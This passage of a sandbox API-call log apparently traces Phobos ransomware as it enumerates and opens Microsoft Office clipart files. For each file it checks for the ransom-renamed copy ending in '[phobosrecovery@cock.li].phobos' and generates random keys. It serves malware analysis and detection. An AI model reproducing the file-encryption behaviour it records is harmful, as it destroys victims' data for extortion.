"c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382930.jpg")) returned 0x220 [0152.661] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382930.JPG.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382930.jpg.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.661] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382930.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382930.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.661] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0152.661] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382931.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382931.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.662] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=122691) returned 1 [0152.662] CloseHandle (hObject=0x580) returned 1 [0152.662] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382931.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382931.jpg")) returned 0x220 [0152.662] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382931.JPG.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382931.jpg.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.662] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382931.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382931.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.662] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0152.663] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382938.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382938.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.666] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=99539) returned 1 [0152.666] CloseHandle (hObject=0x580) returned 1 [0152.666] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382938.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382938.jpg")) returned 0x220 [0152.666] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382938.JPG.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382938.jpg.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.666] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382938.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382938.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.666] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0152.666] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382939.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382939.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.667] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=109477) returned 1 [0152.667] CloseHandle (hObject=0x580) returned 1 [0152.667] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382939.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382939.jpg")) returned 0x220 [0152.667] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382939.JPG.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382939.jpg.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.667] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382939.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382939.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.667] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0152.667] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382942.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382942.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.668] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=91450) returned 1 [0152.668] CloseHandle (hObject=0x580) returned 1 [0152.668] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382942.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382942.jpg")) returned 0x220 [0152.668] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382942.JPG.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382942.jpg.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.668] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382942.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382942.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.669] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0152.669] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382944.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382944.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.669] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=81437) returned 1 [0152.669] CloseHandle (hObject=0x580) returned 1 [0152.669] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382944.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382944.jpg")) returned 0x220 [0152.669] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382944.JPG.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382944.jpg.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.669] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382944.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382944.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.670] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0152.670] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382947.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382947.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.670] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=86812) returned 1 [0152.670] CloseHandle (hObject=0x580) returned 1 [0152.670] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382947.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382947.jpg")) returned 0x220 [0152.670] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382947.JPG.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382947.jpg.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.670] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382947.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382947.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.671] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0152.671] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382948.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382948.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.671] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=109879) returned 1 [0152.671] CloseHandle (hObject=0x580) returned 1 [0152.671] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382948.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382948.jpg")) returned 0x220 [0152.671] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382948.JPG.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382948.jpg.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.671] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382948.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382948.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.671] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0152.672] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382950.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382950.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.672] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=96466) returned 1 [0152.672] CloseHandle (hObject=0x580) returned 1 [0152.672] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382950.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382950.jpg")) returned 0x220 [0152.672] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382950.JPG.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382950.jpg.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.672] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382950.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382950.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.672] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0152.672] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382952.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382952.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.673] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=96073) returned 1 [0152.673] CloseHandle (hObject=0x580) returned 1 [0152.673] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382952.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382952.jpg")) returned 0x220 [0152.673] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382952.JPG.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382952.jpg.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.673] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382952.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382952.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.673] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0152.673] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382954.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382954.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.675] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=88703) returned 1 [0152.675] CloseHandle (hObject=0x580) returned 1 [0152.675] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382954.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382954.jpg")) returned 0x220 [0152.675] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382954.JPG.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382954.jpg.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.675] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382954.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382954.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.675] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0152.675] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382955.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382955.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.676] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=90095) returned 1 [0152.677] CloseHandle (hObject=0x580) returned 1 [0152.677] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382955.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382955.jpg")) returned 0x220 [0152.677] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382955.JPG.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382955.jpg.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.677] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382955.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382955.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.677] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0152.677] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382957.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382957.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.678] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=109037) returned 1 [0152.678] CloseHandle (hObject=0x580) returned 1 [0152.678] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382957.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382957.jpg")) returned 0x220 [0152.678] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382957.JPG.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382957.jpg.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.678] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382957.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382957.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.679] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0152.679] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382958.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382958.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.679] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=103399) returned 1 [0152.679] CloseHandle (hObject=0x580) returned 1 [0152.679] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382958.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382958.jpg")) returned 0x220 [0152.680] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382958.JPG.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382958.jpg.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.680] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382958.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382958.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.680] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0152.680] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382959.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382959.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.681] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=85898) returned 1 [0152.681] CloseHandle (hObject=0x580) returned 1 [0152.681] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382959.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382959.jpg")) returned 0x220 [0152.681] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382959.JPG.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382959.jpg.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.681] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382959.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382959.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.681] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0152.681] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382960.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382960.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.682] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=107508) returned 1 [0152.682] CloseHandle (hObject=0x580) returned 1 [0152.682] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382960.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382960.jpg")) returned 0x220 [0152.683] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382960.JPG.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382960.jpg.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.683] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382960.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382960.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.683] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0152.683] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382961.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382961.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.683] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=101060) returned 1 [0152.683] CloseHandle (hObject=0x580) returned 1 [0152.683] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382961.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382961.jpg")) returned 0x220 [0152.683] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382961.JPG.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382961.jpg.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.684] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382961.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382961.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.684] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0152.684] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft 